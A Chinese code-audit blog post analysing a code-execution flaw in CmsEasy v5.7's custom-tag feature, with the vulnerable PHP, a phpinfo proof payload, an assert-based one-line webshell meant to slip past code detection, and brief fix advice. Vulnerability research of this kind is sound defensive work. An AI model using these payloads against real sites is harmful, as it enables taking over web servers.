【代码审计】CmsEasy_v5.7 代码执行漏洞分析
2024-08-25 05:03:59
0x00 环境准备
CmsEasy官网:http://www.cmseasy.cn/
网站源码版本:CmsEasy_v5.7_UTF8-0208
程序源码下载:
http://ftp.cmseasy.cn/CmsEasy5.x/CmsEasy_5.7_UTF-8_20180208.zip
测试网站首页:
0x01 代码分析
1、漏洞文件位置:/lib/table/table_templatetagwap.php 第3-20行:
- class table_templatetag extends table_mode {
- function vaild() {
- if(!front::post('name')) {
- front::flash('请填写名称!');
- return false;
- }
- if(!front::post('tagcontent')) {
- front::flash('请填写内容!');
- return false;
- 10. }
- 11. return true;
- 12. }
- 13. function save_before() {
- 14. if(!front::post('tagfrom')) front::$post['tagfrom']='define';
- 15. if(!front::post('attr1')) front::$post['attr1']='0';
- 16. if(front::$post['tagcontent']) front::$post['tagcontent'] = htmlspecialchars_decode(front::$post['tagcontent']);
- 17. }
18. }
可以看到在写入文件之前,使用htmlspecialchars_decode函数把预定义的 HTML 实体 "<"(小于)和 ">"(大于)转换为字符。因此我们可以使用双引号闭合,从而构造出Payload写入文件,进一步触发代码,导致程序在实现上存在代码执行漏洞。攻击者可通过构造恶意脚本代码写入配置文件,从而执行命令,控制网站服务器权限。
0x02 漏洞利用
1、登录后台, 模板--自定义标签—添加自定义标签--填写Payload—提交:
Payload: 1111111111";}<?php phpinfo()?>
2、提交保存后,点击预览,成功触发代码,或者查看id的值,然后直接访问文件路径:http://127.0.0.1/config/tag/category_13.php
3、附绕代码检测的一句话Payload: 11";}<?php assert($_POST[g]);?>
通过菜刀连接,控制网站服务器:
0x03 修复建议
1、写入配置文件前,对特殊字符(如”、<、>等)进行htmlencode处理;
2、全局配置可考虑写入数据库进行调用。
最后
欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。
最新文章
- python-tab还是space?
- C#中的线程(一)入门
- Atitit。Web server Jetty9 使用 attilax 总结
- sbrk与brk的使用小例子
- Mac OS X上安装 Ruby运行环境
- SQLSERVER 数据库查看各表的记录数
- [Ubuntu] ubuntu13.04 从php5.4降级到php5.3
- C#导出
- PHP开发常见问题解决列表
- java poi导出EXCEL xls文件代码
- Java IO (5) - 总结
- UIImagePickerController拍照与摄像
- 【ADO.NET】5、手机归属地查询( winfrom )
- Linux:Day18(上) dns服务基础进阶
- springboot与Mybatis结合
- JAVA自学笔记18
- 1. jdk内存配置
- linux上部署Appach,让文件目录以网页列表形式访问
- 【VBA】セールの値は配列に変換方法
- Java之Array(数组)说明